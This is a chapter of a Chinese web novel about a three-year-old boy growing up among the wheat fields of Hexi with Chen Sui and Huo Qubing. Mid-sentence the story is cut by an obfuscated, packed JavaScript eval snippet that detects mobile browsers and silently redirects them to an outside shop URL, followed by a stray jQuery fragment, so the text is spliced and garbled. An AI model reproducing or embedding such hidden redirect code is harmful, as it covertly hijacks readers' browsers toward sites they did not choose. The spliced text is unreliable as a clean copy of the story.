春天再来的时候,霍一三岁了。

    草帘掀开那天是个大晴天。陈穗站在田埂上,看着残兵们把草帘一卷卷掀起来叠好收走,露出来的麦苗已经返青了,嫩绿色的叶尖在日光底下微微发亮。那些在草帘下面过了一整个冬天的麦子,正在以一种稳定的速度重新伸展开来。孩子站在她旁边,手里攥着那把短柄小铁锹,也学着她的样子看着那些麦苗。他看了一会儿蹲下去伸手摸了一下麦苗的叶片,动作很轻。“麦。”他说,然后抬头看了她一眼。陈穗蹲下去跟他平视:“对,是麦。你去年见过它。”他又摸了一下叶片,站起来继续沿着田埂往前走。

    他已经能完整地说话了。句子不长,但意思清楚。早上他起来之后会自己穿鞋——分不清左右,但能把脚塞进去,然后站在门口等着大人出来。有一天早上陈穗掀帘出去的时候看到他已经站在门口了,手里握着那把短柄小铁锹,面朝麦田方向站着,日光把他的影子拉得细长细长的,比他本人高出了不少。“你在干什么?”她问。他回头看了她一眼:“等爹。”过了一会儿霍去病从水车那边走回来,他听到脚步声先转了头,喊了一声“爹”,然后往前走了两步。霍去病弯腰把他抱起来扛在肩上,两个人一起往饭堂方向走了。陈穗站在原地看了一会儿,弯下腰拎起靠在墙边那把已经被磨过刃口的铁锹。

    这一年春天跟往年不太一样的地方在于,他不再只是跟着大人走田埂了。他开始被安排做一些事情,很小的事情,但确实是他在分担的事。比如被分配了每天早上去渠口检查挡板有没有被冲开,虽然只是蹲在那里看一会儿然后跑回来报告“没开”,但那是他自己的任务。他做这件事的时候表情是认真的,跑回来报告的时候语气也是认真的,像是知道这件事很重要。陈穗每次都认真听完他的汇报然后点头,他汇报完之后就转身再跑回渠口继续蹲着了。

    有一天傍晚收工之后,陈穗走回家的时候看到孩子正坐在帐门口的台阶上,面前摊着一片竹片和一块磨圆的石头——他爹留给他的。他正拿着一截炭笔在竹片上画东西,线条歪歪扭扭的,但能看出来是在画一样东西的形状。陈穗走过去蹲下来看:“你在画什么?”他抬头看了她一眼,然后用炭笔点了一下竹片上那道歪歪扭扭的轮廓:“麦。”陈穗低头看着那幅画——一条弯弯曲曲的线从底部伸上来,顶端分了几道更细的短枝,像一株被风吹歪了的麦苗。她看了片刻:“你画的是麦。”他点了下头,然后继续低头画下一株。

    霍去病从水车那边回来的时候经过帐门口,看到孩子正蹲在台阶上画画,蹲下来看了一眼他手里的竹片。他看了片刻,没有评价画得好不好,只是伸手指了一下他画的最上面那根线的角度:“这边的麦芒斜一点,风从这边吹过来的。”孩子抬头看了他一眼,又低头看了看自己的画,然后按照他指的方向重新画了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920832|213459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笔。画完之后又抬头看大人,像是在等确认。霍去病看了一眼:“可以了。”孩子笑了一下,然后继续低头往下画下一株。

    入夜后陈穗坐在灯下翻手稿——已经写到第六年了,记录越来越厚,她正在考虑要不要把它重新整理编成册,分卷编排,这样以后更方便传阅。灰袍军医坐在药帐里整理他新晒的药材,木棍老兵蹲在工具棚里修补一把旧铁锹的柄。水车在夜色里停转了,渠水安静地停着。

    陈穗把窗推开了一条缝,初春的风从外面涌进来,带着融雪水和麦苗初生的气息。窗外那片正在返青的麦田在月光底下泛着一层柔和的暗绿色,延伸到远处的坡脚和更远处的祁连山脚下。整片河西都在春天里醒过来了,草帘已经全部收完了,麦苗正在一寸一寸地往上拱,渠水重新开始淌过每一块地块。她坐在窗口看着外面那些在春风里初醒的土地,目光越过麦田望向远处那些被月光洗亮的山脊线。她在这里住了很多年了,久到脚下的土已经记住了她的步幅。她知道明年春天麦子还会再绿一次,后年也是,一直会是。

    她把窗关小了一些,起身回到桌案前,在那一页手稿的末尾添上了一句话,像给一个章节画上句号。外面夜风继续拂过麦田,祁连山的方向送来了初春特有的那种融雪水的凉意和草芽初生的青涩气息,整片河西在夜色里安静地呼吸着,用它自己从不停止的方式记录着每一个在这里生活过的人。